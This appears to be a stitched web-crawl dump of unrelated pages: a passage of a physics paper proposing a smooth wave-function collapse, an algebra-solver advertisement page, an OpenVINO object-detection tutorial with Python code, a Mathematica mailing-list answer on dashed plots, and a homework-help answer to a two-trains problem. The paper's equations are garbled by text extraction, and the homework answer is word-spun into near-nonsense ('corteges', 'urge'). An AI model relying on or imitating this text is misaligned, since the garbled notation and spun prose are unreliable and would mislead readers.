measure a significant recoil, the interference pattern is destroyed. Let’s reverse a bit the reasoning, and apply it to the delayed-choice [1–5] version of the two-slit experiment. We can decide after the photon has passed through the slit(s) whether to observe the “which way” or the “both ways” aspects. If we decide to observe the “which way” behavior, we cause the wall with the two slits to undergo a significant change of momentum (corresponding to the cases when the photon has passed through one slit or the other). If we choose to observe the interference, the change in momentum will be undefined. The wall with the two slits will get in a superposition of eigenstates of momenta. This example shows that, 5\n\npreparation observation S\n\nH 0 H H 0\n\nψ0 |ψi | i\n\ntime t0 t0 + ε t1 Fig. 2 The disturbance in the evolution of the quantum system, introduced by the measurement device performing the prepa- ration, needs to be taken into account by modifying the Hamiltonian from H0 to H(t,u) = H0 + Hint(t,u) for the time interval (t0,t0 + ε). This will “repair” the discontinuity presented in the figure 1.\n\nindeed, the interaction with the wall with the two slits, happening in the interval (t0,t0 + ε), takes place in such a manner that the outcome of the measurement is one expected by the choice of the observable.\n\n2.2 The entanglement approach\n\nThe previous analysis simplified the interaction between the preparation device and the observed system. A more general description will consider that the preparation device is quantum, not classical. In this case, its interaction with the observed system leads to an entanglement between the two. The evolution of the observed system can no longer be considered unitary: its state may go from being pure, at t0, to being mixed at t0 + ε. Of course, the combined system made from the observed system and the preparation device, may be isolated, and undergo unitary evolution, but the observed system’s state will be obtained by partial tracing the density operator of the larger system, and it will not necessarily be pure. A correct description will use density operators to represent the state, and the Liouville - von Neumann equation (2), for its evolution. Let us consider that the state of the observed quantum system is described by the density operator ρq, on the state space Sq, and the one of the preparation device is described by a density operator ρp on the state space Sp. We consider that the combined system, represented by a density operator ρq,p on Sq ⊗ Sp, is isolated. If it is not isolated, then we complete the system with remaining systems ρr, so that we obtain an isolated system. We can consider, without loosing the generality, that the preparation device incorporates all these systems, so it will be enough to work on the state space Sq ⊗ Sp. The combined system will have a unitary evolution between t0 and t0 + ε, given by the unitary operator Uq,p = Uq,p(t0 + ε,t0):\n\n† ρq,p(t0 + ε) = Uq,pρq,p(t0)Uq,p The initial and the final density operators for the observed system can be obtained by partial trace:\n\nρq(t0) = trpρq,p(t0) ρq(t0 + ε) = trpρq,p(t0 + ε), and we have † ρq(t0 + ε) = trp(Uq,pρq,p(t0)Uq,p).\n\nIn general, the transformation from ρq(t0) to ρq(t0 + ε) is not unitary. We do now another simplification, again without loosing generality, by purifying the state. We can purify the state ρq,p by expanding the state space from Sq ⊗ Sp to\n\n0 0 S := Sq ⊗ Sp ⊗ Sq ⊗ Sp, 6\n\n∼ 0 ∼ 0 0 0 with Sq = Sq and Sp = Sp. The two extra state spaces Sq and Sp does not necessarily represent physical systems, but they allow us to consider ρq,p as the partial trace of a pure state on S . The composed system’s evolution can be considered to be described by Schrodinger¨ equation (1) on S , although the state ρq,p still needs to obey equation (2). We denote the state space which is external to our observed system by\n\n0 0 Se := Sp ⊗ Sq ⊗ Sp, and the density operator describing the evolution on this space by ρe. The conditions imposed by the observations to the system described by ρq at t0 and t1 imply that ρq(t0) and ρq(t1) represent pure states: ρ (t ) = |ψ ihψ | and q 0 0 0 (3) ρq(t1) = |ψ1ihψ1|.\n\nThis imposes restrictions also on the combined system ρq,p. After t0 the systems ρq and ρp become entangled, and the second observation disentangles them, and also imposes to ρe a purity condition\n\nρe(t1) = |η1ihη1|, with η1 ∈ Se. Since at t0 the preparation device and the observed system were separated, the preparation device was in a state ρp(t0), which can be obtained by partial tracing from a pure state |η0i ∈ Se. Although the state vector |η1i is uniquely determined by the observation at t1, it depends on |η0i. Because we don’t know the value of |η0i, to each possible |η0i, and to each possible outcomes |ψ0i and |ψ1i of the two measurements, will correspond a unique |η1i. In order to clarify this correspondence, we need to study some properties of linear operators acting between tensor products of vector spaces. Let VA, VB, VC and VD be four vector spaces over a field K, K = R or K = C, and let\n\nT : VA ⊗ VB → VC ⊗ VD (4) be a K-linear morphism of vector spaces. We are interested in identifying the possible separable vectors |Ai ⊗ |Bi ∈ VA ⊗ VB and |Ci ⊗ |Di ∈ VC ⊗ VD such that: T(|Ai ⊗ |Bi) = |Ci ⊗ |Di. (5)\n\nProposition 1 Let us consider |Ai and |Ci fixed. The set of vectors |Bi ∈ VB, and the set of vectors |Di ∈ VD, AC AC satisfying the equation (5), form vector subspaces VB ≤ VB, respectively VD ≤ VD. Proof If |B0i and |B00i are such that T(|Ai ⊗ |B0i) = |Ci ⊗ |D0i and T(|Ai ⊗ |B00i) = |Ci ⊗ |D00i for some |D0i 00 0 00 and |D i ∈ SD, then for any z ,z ∈ C, T(|Ai ⊗ (z0|B0i + z00|B00i)) = z0T(|Ai ⊗ |B0i) + z00T(|Ai ⊗ |B00i) = z0|Ci ⊗ |D0i + z00|Ci ⊗ |D00i = |Ci ⊗ (z0|D0i + z00|D00i),\n\nAC therefore the solutions |Bi ∈ VB form a vector subspace VB ≤ VB. Consequently, the solutions |Di ∈ VD AC AC form a vector subspace VD = T(VB ) ≤ VB.\n\nRemark 1 Since we have VC ⊗VD =∼ VD ⊗VC, it follows from Proposition 1 that a similar result holds for |Ai and |Di fixed.\n\nProposition 2 If the space VC has a scalar product h | i, the linear operator\n\nAC TB := T| AC VB is given, for |Ci 6= 0, by tr (T(|Ai ⊗ |Bi) ⊗ hC|) T AC(|Bi) = C . B hC|Ci\n\n∗ Proof To remove the |Ci part from |Ci ⊗ |Di, we tensor |Ci ⊗ |Di with hC| ∈ VC , partial trace over |CihC|, and then divide by ||Ci|2. 7\n\nAC Remark 2 If T defined in (4) is isomorphism, then TB is isomorphism onto its image.\n\nWe can now apply the previous results to a unitary operator U acting on our space Sq ⊗ Se:\n\nU : Sq ⊗ Se → Sq ⊗ Se, (6) and to the equation\n\nU(|ψ0i ⊗ |η0i) = |ψ1i ⊗ |η1i, (7) obtaining the following corollaries.\n\nCorollary 1 Let us consider |ψ0i and |ψ1i fixed. The set of vectors |η0i ∈ Se, and the set of vectors |η1i ∈ ψ0ψ1 ψ0ψ1 Se, satisfying the equation (7), form isomorphic vector subspaces Se0 ≤ Se, respectively Se1 ≤ Se.\n\nProof Follows immediately from Proposition 1 and Remark 2.\n\nA measurement at t1, although determines the observed state to be in |ψ1i, it does not necessarily deter- mine completely the state |η1i of the preparation device.\n\nCorollary 2 Let us consider |ψ0i and |η1i fixed. The set of vectors |η0i ∈ Se, and the set of vectors |ψ1i ∈ ψ0η1 ψ0η1 Sq, satisfying the equation (7), form isomorphic vector subspaces Se0 ≤ Se, respectively Sq1 ≤ Sq.\n\nProof Follows from the Remark 1.\n\nψ0η1 We denote the isomorphism obtained by restricting the unitary operator U to Se0 by Kψ0η1 . From Corrolary 2 we obtain:\n\nTheorem 1 The set of all states |ψ1i ∈ Sq that can appear in the right side of the equation (7) for a fixed |ψ0i ∈ Sq is given by the following union of subspaces:\n\n[ ψ0 ψ0η1 Sq1 := Sq1 , (8) |η1i∈Se obtained by varying the state vector |η0i in the set\n\n[ ψ0 ψ0ψ1 Se0 := Se0 . (9) |ψ1i∈Sq\n\nRemark 3 A good preparation must satisfies the condition\n\nψ0 Sq1 ≥ {|ψ1i ∈ Sq|hψ1|U(t1,t0)|ψ0i 6= 0}, (10) where U(t1,t0) is the evolution operator of the observed system, if it is undisturbed.\n\nWe recall that the state space Se is an extension of a Sq, made for working with purified states, but this is not a problem, since we can always recover the density operators of the subsystems by partial tracing. The mechanism proposed here is represented in the figure 3. The preparation should consist in an in- teraction with the property that any possible outcome |ψ1i of the second measurement can be fitted by an appropriate choice of the initial conditions for the preparation device, represented by the state vector |η0i. 8\n\npreparation observation\n\n1 1 |η1i |η0i S 2 e 2 |η1i |η0i 3 3 |η1i |η0i |η4i 4 0 |η1i 5 5 |η0i |η1i\n\nSq 1 |ψ1i 2 |ψ1i 3 |ψ1i |ψ0i 4 |ψ1i 5 |ψ1i\n\nt0 t0 + ε t1 time\n\ni i Fig. 3 Each possible outcome |ψ1i can be obtained by choosing the appropriate states |η0i representing the preparation device.\n\n2.3 The smooth projection mechanism\n\nBecause the first measurement can find the observed system in the state |ψ0i, while the second one in |ψ1i 6= U(t1,t0)|ψ0i, it is easy to understand why it seemed so obvious that the state vector suffers a discontinuous jump, somewhere between t0 and t1. But we can now explain the wave function collapse as taking place smoothly, restoring the continuity in its evolution. In order to do this, we had to go to the level of a larger system, composed by the observed system and the preparation device. At that level, the unitary evolution has been restored, and we have seen that the observed system (although its evolution may no longer be unitary, being entangled with the preparation device) can undergo a “smooth collapse”. The price to be paid was the acceptance that the observed system acts, somehow, anticipating the set of possible eigenstates. This feature may seem acausal, but it is presented also in standard Quantum Mechanics, as we have learned from the “delayed-choice experiments” 2. In this article, the collapse was only pushed to the “beginning of ”, and the initial conditions remained at the time t1, being thus “delayed initial conditions”. Each measurement specifies the initial conditions of a system. When a system is measured a second time, the initial conditions need to be restated. To be restated without contradicting the previously observed initial conditions, they should be lost somehow. I hypothesized here that they are lost because of the interaction with the preparation device, which, although determines the previous set of conditions, transfers from its own indeterminacy of initial conditions to the observed system. Any interaction of a system with another system which have some freedom in the choice of its initial conditions, will make the former system loose its specification of the initial conditions. The observation only shows what the state was, and not what it will be at the next measurement. Our mechanism allows us to see the projection, usually being associated to the wave function collapse, as taking place continuously, smoothly, and not discontinuously. The projector operator is not present explic- itly in the evolution equation, but it is “embedded” in a set of operators parametrized by |η0i – it can be reconstructed, for each pair (|ψ0i,|ψ1i), by choosing an appropriate |η0i ∈ Se.\n\n2 A similar apparent acausality, manifested by the anticipation of future initial conditions, is also present in experiments with photons having negative group velocity . 9\n\n3 Discussion\n\n3.1 Smooth Quantum Mechanics\n\n3.1.1 Smoothness\n\nThis article provides a scenario of how the wave function collapse can take place without discontinuities, in a smooth way. We can reconstruct the Quantum Mechanics into a Smooth version, but we have to remember that this is not the only place where discontinuities occur. For example, the eigenstates of the position are distributions, and the eigenstates of the momentum has infinite norm. If we consider the state space as being a , then we have to accept such problems. Yet, we can avoid this kind of problems by renouncing at the completeness – the idea that the state space should contain limits for any Cauchy sequence. We can instead use a rigged Hilbert space, S ⊂ H =∼ H ∗ ⊆ S ∗. The state vectors will be then elements of a space S of smooth functions of finite norms, but the (ideal) eigenstates of various operators will belong to H .\n\n3.1.2 Probabilities\n\nThe evolution equations are deterministic, and since we eliminated the discontinuities, the only source of randomness is in the initial conditions. Therefore, both the Born rule and the Heisenberg relations, have to be reinterpreted. The Born rule don’t expresses the probabilities of collapse, but of the initial conditions to lead to each outcome. We can derive the original Heisenberg relations by multiplying the relations ∆ω∆t ≥ 2π and ∆kx∆x ≥ 2π, from the Fourier analysis, with the reduced Plank constant h¯. To obtain similar Heisenberg relations for other pairs of conjugated operators, we do the same for the corresponding eigenbases. These relations refer to how large can be the support of a state vector, when expressed in two different bases, and have nothing intrinsic probabilistic built in. For example, the relations ∆kx∆x ≥ 2π show that if the is too located in space, then in the momenta space it will be more spread. We can obtain also the Heisenberg’s relations from the commutation relations of the operators. A version of Heisenberg’s relations, which is used frequently, is σ(p )σ(x) ≥ 1 h¯, expressed in terms of the standard deviation, defined for an operator A by p x 2 σ(A) := hA2i − hAi2. Again, the probabilities have not yet entered into the play, because the standard deviations, in this case, refer to the components of the wave packet, expressed in two conjugate bases. It is only when the state vector is disturbed by a preparation, and we apply the Born rules in relation to an eigenbasis of an observable, when Heisenberg’s relations become the uncertainty relations. It follows that the probabilistic meaning of the Heisenberg’s relations also reflects our ignorance of the initial conditions. The observers don’t have access to the full set of initial conditions. The observations allows them collect only a set (which we will name registry) of partial initial conditions. Therefore, although the evolution is deterministic, they perceive the time evolution as indeterministic.\n\n3.1.3 What remains to be done\n\nThis article only shows that it is possible to have a smooth, instead of a discontinuous, wave function col- lapse, and shows that it is possible a smooth reconstruction of Quantum Mechanics. Not any interaction is able to provide the freedom in initial conditions required to solving this problem. Perhaps, this is why not any interaction is a measurement, but this point needs to be developed better. Ideally, we would have a precise mathematical description of a measurement, and a theorem showing that from this description, we obtain pre- cisely the required range of outcomes at a second observation. Having a good definition of the measurement apparatus will allow us to predict, for example, which interactions qualify as measurements. Maybe, for this understanding, we will have to wait until more challenging parts of the Quantum Mechanics – the reconstruc- tion of the classical world from the quantum world, and the explanation of why a measurement can obtain only eigenstates of the observable as outcomes – will receive better explanations. Another important progress would be a deduction of the Born rule. At the current moment, it seems that this rule is independent on the Smooth Quantum Mechanics, but it would be desirable to have at least a good definition of a measurement which will lead easily to a smooth version of the Projection Postulate, including the Born rule. 10\n\n3.2 Relations with other interpretations of Quantum Mechanics\n\nAfter about eight decades of progresses in Quantum Mechanics, the discussions between Einstein and Bohr remain actual. Although their views seemed incompatible one another, the Smooth Quantum Mechanics pre- sented here is friendly with both of them. I don’t say that, had they living today, they would say that they had in mind this solution, but I hope that this is at least a small step towards a reconciliation between their viewpoints. In a way, Bohr was right to say that “a phenomenon does not exist, until is observed” [9,3], and Einstein was right to hope for a better, more complete, explanation of the quantum phenomena. Perhaps, Schrodinger’s¨ ideas are most compatible with the SQM, since he disliked the discontinuous collapse, and believed in the physical reality of the wave functions. For example, he took the charge density in the electron’s wave function literally, not as a probability distribution, and, according to SQM, he was right. The electron is the electron’s wave function, since it is not a point, it is a wave, having different “shapes”, depending on the measured observables. The determinism is regained, since the evolution is again deterministic. The efforts of de Broglie, Vigier, culminating with David Bohm’s causal or ontological interpretation of Quantum Mechanics [10,11], are theo- ries whose purpose is to restore the determinism, the causality, and the reality and independence of the world. The price, as we now know, was the necessity to admit the nonlocality [12–16]. SQM provides a deterministic theory without extra “hidden variables”, rather, it is based on undetermined variables, or undetermined initial data. Here, “to determine” has a passive meaning – “to measure/observe”, and an active one – “to choose”. The initial data is determined by measurements, but we can choose what to measure. We can look at the indeterministic QM as applying to open systems only, whose description can be completed to a deterministic image by accounting for the parameters “hidden” in the environment. The indeterministic view is not completely lost, since what the observer has is the registry, which is never a complete set of initial data. Each new measurement can bring new information, and the registry can be extended in different ways. We can interpret this in two ways. The first way is that the past is not established, and it is created by each new choice of the observables, and, consequently, by each new outcome of the measurement. The second way to see the things is that all possible worlds exist, like a sheaf, and when we choose the observable we reduce the sheaf of worlds compatible with our registry. Each extension of the registry reduces this sheaf. Therefore, SQM is compatible with the Many Worlds Interpretation, with the amendment that each world is deterministic, and the only split is in the observer’s registry, which can be completed in many ways. We can call this version of MWI the Many Registry Interpretation. Perhaps one reason in the acceptance of a fundamentally indeterministic behavior in Quantum Mechanics was the belief that this is the only way to allow the existence of free-will [17,18]. The Smooth Quantum Mechanics offers an alternative, a deterministic view, which is still compatible with the free-will, at the same extent as the standard QM. We have the same freedom in choosing what observable to measure, influencing by this the initial conditions , but in a smooth and deterministic manner.\n\nReferences\n\n1. J. Wheeler, in Quantum Mechanics a Half Century Later (1977), pp. 1–18 2. J.A. Wheeler, in In A.R. Marlow, ed., Mathematical Foundations of Quantum Theory (1978), p. 30 3. J.A. Wheeler, W.H. Zurek. Quantum theory and measurement (1983) 4. K.F. Weiszacker,¨ Zeit. F. Phys. (70), 114 (1931) 5. P.A.S. Ed., Albert Einstein : Philosopher-Scientist. The library of living philosophers, vol VII. (Cambridge University Press, 1949) 6. A. Einstein, B. Podolsky, N. Rosen. Can quantum-mechanical description of physical reality be considered complete?, physical review 47:777–780 (1935) 7. D. Bohm, Quantum Th. pp. 611–623 (1951) 8. G.M. Gehring, A. Schweinsberg, C. Barsi, N. Kostinski, R.W. Boyd, Science (312), 895 (2006) 9. N. Bohr, Naturwissenschaften 16, 245 (1928). DOI 10.1007/BF01504968 10. D. Bohm, Phys. Rev (85) (1952) 11. D. Bohm, B. Hiley. The undivided universe: an ontological interpretation of quantum mechanics. routledge and kegan (1993) 12. J.S. Bell, (1964) 13. J.F. Clauser, M.A. Horne, A. Shimony, R.A. Holt, Physical Review Letters (23) (1969) 14. J.F. Clauser, A. Shimony, in Reports in the Progress of Physics (1978) 15. A. Aspect, J. Dalibard, G. Roger, Physical Review Letters (49) (1982) 16. A.B. Aspect. Bell’s inequality test: More ideal than ever. nature 398 (1999) 17. J. Conway, S. Kochen, Found. Phys. (36), 1441 (2006) 18. J. Conway, S. Kochen, 19. G. ’t Hooft. The free-will postulate in quantum mechanics (2007). URL http://arxiv.org/abs/quant-ph/0701097" ]
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[ "#", null, "Your Math Help is on the Way!\n\n### More Math Help\n\nTry the Free Math Solver or Scroll down to Tutorials!\n\n Depdendent Variable\n\n Number of equations to solve: 23456789\n Equ. #1:\n Equ. #2:\n\n Equ. #3:\n\n Equ. #4:\n\n Equ. #5:\n\n Equ. #6:\n\n Equ. #7:\n\n Equ. #8:\n\n Equ. #9:\n\n Solve for:\n\n Dependent Variable\n\n Number of inequalities to solve: 23456789\n Ineq. #1:\n Ineq. #2:\n\n Ineq. #3:\n\n Ineq. #4:\n\n Ineq. #5:\n\n Ineq. #6:\n\n Ineq. #7:\n\n Ineq. #8:\n\n Ineq. #9:\n\n Solve for:\n\n Please use this form if you would like to have this math solver on your website, free of charge. Name: Email: Your Website: Msg:\n\n### Our users:\n\nIts been a long time since I needed to understand algebra and when it came time to helping my son, I couldnt do it. Now, with your algebra software, we are both learning together.\nWilliam Marks, OH\n\nYEAAAAHHHHH... IT WORKS GREAT!\nAnne Mitowski, TX\n\nWow! The new interface is fantastic and the added functionality takes it to a new level.\nMerv Hass, PA\n\nAs a teacher I praise Algebrator because the students love it and find it most stimulating and interesting. What they see is what they learn and moreover it is relevant to the curriculum.\nLori Barker\n\n### Students struggling with all kinds of algebra problems find out that our software is a life-saver. Here are the search phrases that today's searchers used to find our site. Can you find yours among them?\n\n#### Search phrases used on 2012-11-13:\n\n• base 8\n• holt algebra 2\n• how to solve algebra problems\n• when to convert a fraction from addition to subtraction\n• algebra grafical solver\n• calculate standard form on Texas Instrument\n• how to do symbolic method\n• what is the greatest common factor for the number ten and twenty\n• free prerequisite homework solver\n• easy way to learn functions\n• negative fractions equation\n• non linear differential equation matlab\n• rational expression solver\n• exponents lessons for fifth grade\n• teaching lesson in -area of suare\n• difference between evaluating and solving\n• rational exponent Calculator\n• java base system convert code\n• regents physics graphs slope worksheet\n• math problem for the 10 grade algebra\n• math properties worksheets\n• free algebra for dummies mathematics online\n• malaysia ks3 free translations\n• calculate gini coefficient using excel\n• \"california standards test\" algebra with or without calculator\n• quotient solving calculator\n• math definitions pre algebra\n• use free online TI calculator\n• subtracting decimals for 6th graders test\n• pre calc circuit examples\n• well ordering axiom prime factors proof\n• casio calculator absolute value solve\n• solving algebra\n• worksheet graphing integers\n• linear equations aaamath.com\n• Pre-Algebra for 6th grade Virginia\n• first order ODE calculator\n• scientific calculator online converting fractions into decimals\n• simplifying exponents worksheet\n• simplifying equations calculator\n• ti-84 calculator emulator\n• problem samples of depreciation\n• \"least common multiple\" \"algebraic expression\"\n• evaluate with replacement sets algebra\n• free printable 1st grade math fl\n• +an example for ordering rational numbers including integers, percents\n• nonlinear differential equations\n• absolte value and TI 83 and vertex\n• old glencoe algebra 1 books\n• algebra easy to understand\n• practice adding and subtracting negative and positive numbers worksheet\n• tests for multiplying and dividing decimals\n• exponent in kid terms\n• how to solve algebra 1 equations\n• polynomial factors calculator\n• find slope using TI 83\n• fractions into decimals calculator\n• common algebra formulas for\n• \"partial fraction\" polynomial\n• how to simplify trinomials\n• converting whole numbers to decimals\n• solving long algebra equations with exponents wit exponents\n• 9th grade negative integers math online testing\n• Why was algebra invented?\n• yr 7 mental maths tests\n• formula relateed to convert sq meter to squre feet\n• equations(how to slove them)\n• multiplying and dividing rational numbers help\n• algebra 2 mcdougal littell inc chapter one resource book\n• give me sample of math trivia\n• poem for math order of operations" ]
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https://www.dlology.com/blog/how-to-run-tensorflow-object-detection-model-faster-with-intel-graphics/
[ "# How to run TensorFlow object detection model faster with Intel Graphics", null, "In this tutorial, I will show you how run inference of your custom trained TensorFlow object detection model on Intel graphics at least x2 faster with OpenVINO toolkit compared to TensorFlow CPU backend. My benchmark also shows the solution is only 22% slower compared to TensorFlow GPU backend with GTX1070 card.\n\nIf you are new to OpenVINO toolkit, it is suggested to take a look at the previous tutorial on how to convert a Keras image classification model and accelerate inference speed with OpenVINO. This time, we will take a step further with object detection model.\n\n## Prerequisites\n\nTo convert a TensorFlow frozen object detection graph to OpenVINO Intermediate Representation(IR) files, you will have those two files ready,\n\n• Frozen TensorFlow object detection model. i.e. `frozen_inference_graph.pb` downloaded from Colab after training.\n• The modified pipeline config file used for training. Also downloaded from Colab after training, in our case, it is the `ssd_mobilenet_v2_coco.config` file.\n\nYou can also download my copy of those files from the GitHub release.\n\n### OpenVINO model optimization\n\nSimilar to the previous image classification model, you will specify the data type to quantize the model weights.\nThe data type can be \"FP16\" or \"FP32\" depends on what device you want to run the converted model.\n\n• FP16: GPU and MYRIAD (Movidius neural compute stick)\n• FP32: CPU and GPU\n\nGenerally speaking, FP16 quantized model cuts down the size of the weights by half, run much faster but may come with minor degraded accuracy.\n\nAnother important file is the OpenVINO subgraph replacement configuration file that describes rules to convert specific TensorFlow topologies. For the models downloaded from the TensorFlow Object Detection API zoo, you can find the configuration files in the `<INSTALL_DIR>/deployment_tools/model_optimizer/extensions/front/tf` directory.\n\nUse:\n\n• `ssd_v2_support.json` - for frozen SSD topologies from the models zoo.\n• `faster_rcnn_support.json` - for frozen Faster R-CNN topologies from the models zoo.\n• `faster_rcnn_support_api_v1.7.json` - for Faster R-CNN topologies trained manually using the TensorFlow* Object Detection API version 1.7.0 or higher.\n• ...\n\nWe will pick `ssd_v2_support.json` for this tutorial since it is an SSD model.\n\nWith all the setting ready, we can start the model optimization script.\n\n```!python {mo_tf_path} \\\n--input_model {pb_file} \\\n--output_dir {output_dir} \\\n--tensorflow_use_custom_operations_config {configuration_file} \\\n--tensorflow_object_detection_api_pipeline_config {pipeline} \\\n--input_shape {input_shape_str} \\\n--data_type {data_type} \\\n```\n\nYou can find the .xml and .bin files located in the specified `{output_dir}` after the conversion.\n\n## Make predictions\n\nLoading the model with OpenVINO toolkit is similar to the previous image classification example. While how we preprocess inputs and interpret the outputs are different.\n\nFor the image preprocessing, it is a good practice to resize the image width and height to match with what is defined in the `ssd_mobilenet_v2_coco.config` file, which is 300 x 300. Besides, there is no need to normalize the pixel value to 0~1, just keep them as UNIT8 ranging between 0 to 255.\n\nHere is the preprocessing function.\n\n```def pre_process_image(imagePath, img_shape):\n\"\"\"pre process an image from image path.\n\nArguments:\nimagePath {str} -- input image file path.\nimg_shape {tuple} -- Target height and width as a tuple.\n\nReturns:\nnp.array -- Preprocessed image.\n\"\"\"\n\n# Model input format\nassert isinstance(img_shape, tuple) and len(img_shape) == 2\n\nn, c, h, w = [1, 3, img_shape, img_shape]\nimage = Image.open(imagePath)\nprocessed_img = image.resize((h, w), resample=Image.BILINEAR)\n\nprocessed_img = np.array(processed_img).astype(np.uint8)\n\n# Change data layout from HWC to CHW\nprocessed_img = processed_img.transpose((2, 0, 1))\nprocessed_img = processed_img.reshape((n, c, h, w))\n\nreturn processed_img, np.array(image)\n```\n\nNow you can feed the preprocessed data to the network and get its prediction outputs as a dictionary which contains a key, \"DetectionOutput\".\n\n```# Run inference\nimg_shape = (img_height, img_height)\nprocessed_img, image = pre_process_image(fname, img_shape)\nres = exec_net.infer(inputs={input_blob: processed_img})\nprint(res['DetectionOutput'].shape)\n# Expect: (1, 1, 100, 7)\n```\n\nThe Inference Engine \"DetectionOutput\" layer produces one tensor with seven numbers for each actual detection, each of the 7 numbers stands for,\n\n• 0: batch index\n• 1: class label, defined in the label map `.pbtxt` file.\n• 2: class probability\n• 3: x_1 box coordinate (0~1 as a fraction of the image width reference to the upper left corner)\n• 4: y_1 box coordinate (0~1 as a fraction of the image height reference to the upper left corner)\n• 5: x_2 box coordinate (0~1 as a fraction of the image width reference to the upper left corner)\n• 6: y_2 box coordinate (0~1 as a fraction of the image height reference to the upper left corner)\n\nAfter known this, we can easily filter the results with a prediction probability threshold and visualize them as bounding boxes drawing around the detected objects.\n\n```import matplotlib.pyplot as plt\nimport matplotlib.patches as patches\n\nprobability_threshold = 0.5\n\npreds = [pred for pred in res['DetectionOutput'] if pred > probability_threshold]\n\nax = plt.subplot(1, 1, 1)\nplt.imshow(image) # slice by z axis of the box - box.\n\nfor pred in preds:\nclass_label = pred\nprobability = pred\nprint('Predict class label:{}, with probability: {}'.format(\nclass_label, probability))\nbox = pred[3:]\nbox = (box * np.array(image.shape[:2][::-1] * 2)).astype(int)\nx_1, y_1, x_2, y_2 = box\nrect = patches.Rectangle((x_1, y_1), x_2-x_1, y_2 -\ny_1, linewidth=2, edgecolor='red', facecolor='none')\nax.text(x_1, y_1, '{:.0f} - {:.2f}'.format(class_label,\nprobability), fontsize=12, color='yellow')\n```\n\nHere is an example to show the results of object detection.", null, "## Benchmark the inference speed\n\nLet's try the ssd_mobilenet_v2 object detection model on various hardware and configs, and here is what you get.\n\nThe benchmark setup,\n\n• Inference 20 times and do the average.\n• Input image shape: (300,300,3)", null, "As you can see the OpenVINO model running on the Intel GPU with quantized weights achieves 50 FPS(Frames/Seconds) while TensorFlow CPU backend only gets around 18.9 FPS.\n\nRunning the model with neural compute stick 2 either on Windows or Raspberry Pi also shows promising results.\n\nYou can run the openvino_inference_benchmark.py and local_inference_test.py scripts if you want to reproduce the benchmark yourself.\n\nThis post walks you through how to convert a custom trained TensorFlow object detection model to OpenVINO format and inference on various hardware and configurations. Their benchmark results can help you to decide what is the best fit for your edge inferencing scenario.\n\n#### Related materials you might find helpful\n\nThe GitHub repository for this post.\n\nCurrent rating: 2.8" ]
[ null, "https://gitcdn.xyz/cdn/Tony607/blog_statics/8f4e0685b86b6367e3d68c4f2ee67e583712d155/images/object-detection/chip.png", null, "https://gitcdn.xyz/cdn/Tony607/blog_statics/cf6f97dfce528de9c300a137a00a742dcaed6742/images/object-detection/vino_prediction.png", null, "https://gitcdn.xyz/cdn/Tony607/blog_statics/8f4e0685b86b6367e3d68c4f2ee67e583712d155/images/object-detection/benchmark.png", null ]
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http://forums.wolfram.com/mathgroup/archive/2005/Feb/msg00106.html
[ "", null, "", null, "", null, "", null, "", null, "", null, "", null, "Re: Dotted line plot\n\n• To: mathgroup at smc.vnet.net\n• Subject: [mg53970] Re: [mg53911] Dotted line plot\n• From: \"David Park\" <djmp at earthlink.net>\n• Date: Sat, 5 Feb 2005 03:16:42 -0500 (EST)\n• Sender: owner-wri-mathgroup at wolfram.com\n\n```Just use the PlotStyle option.\n\n<< Graphics`Colors`\n\nPlot[2x + 3, {x, -2, 4},\nPlotStyle -> AbsoluteDashing[{5}],\nEpilog -> Text[HoldForm[2x + 3], {2, 6}, {-1, 0}],\nFrame -> True,\nFrameLabel -> {x, y},\nPlotLabel -> \"Drawing a Dashed Line\",\nBackground -> Linen,\nImageSize -> 450];\n\nDavid Park\n\nFrom: DJ Craig [mailto:spit at djtricities.com]\nTo: mathgroup at smc.vnet.net\n\nHow can I plot this linear equation with a dotted line for the line:\ny = 2x + 3\n\n```\n\n• Prev by Date: Re: Graphing sets of linear inequalities\n• Next by Date: Re: Graphing sets of linear inequalities\n• Previous by thread: Re: Dotted line plot\n• Next by thread: Graphing sets of linear inequalities" ]
[ null, "http://forums.wolfram.com/mathgroup/images/head_mathgroup.gif", null, "http://forums.wolfram.com/mathgroup/images/head_archive.gif", null, "http://forums.wolfram.com/mathgroup/images/numbers/2.gif", null, "http://forums.wolfram.com/mathgroup/images/numbers/0.gif", null, "http://forums.wolfram.com/mathgroup/images/numbers/0.gif", null, "http://forums.wolfram.com/mathgroup/images/numbers/5.gif", null, "http://forums.wolfram.com/mathgroup/images/search_archive.gif", null ]
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https://academicpals.com/mathematics-homework-help/two-trains-leave-a-station-at-the-same-time-traveling-in-opposite-directions-one-travels-20mph-faster-than-the-other-in-4-hours-the-trains-are-900-miles-apart-find-the-speed-of-each-train-let-x/
[ "# Two trains leave a station at the same time, traveling in opposite directions. One travels 20mph faster than the other. In 4 hours, the trains are 900 miles apart. Find the speed of each train. Let x\n\nTwo corteges license a place at the similar age, traveling in contradictory directions. One travels 20mph faster than the other. In 4 hours, the corteges are 900 miles aloof. Find the urge of each cortege.\n\nLet x enact the urge travelled by cortege A,then the urge for cortege B procure be (x+20) Time=Total Distance/(Total Speed) less age is loving by 4hrs,and the completion urge is similar to sum of urge for cortege A and B and the completion space is 900 miles 900/(x+x+20 )=4 900/(2x+20)=4 cross-multiplying gives 8x+80=900,collecting approve stipulations and solving for x gives 8x=820 x=102.5 Therefore the urge for cortege A is loving by 102.5mph and that of cortege B is 102.5+20=122.5mph Thanks anticipation to product delay you in future" ]
[ null ]
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https://codedump.io/share/Pb4wzaNbBfI8/1/select-two-rows-from-bit-array-based-on-int-array-python
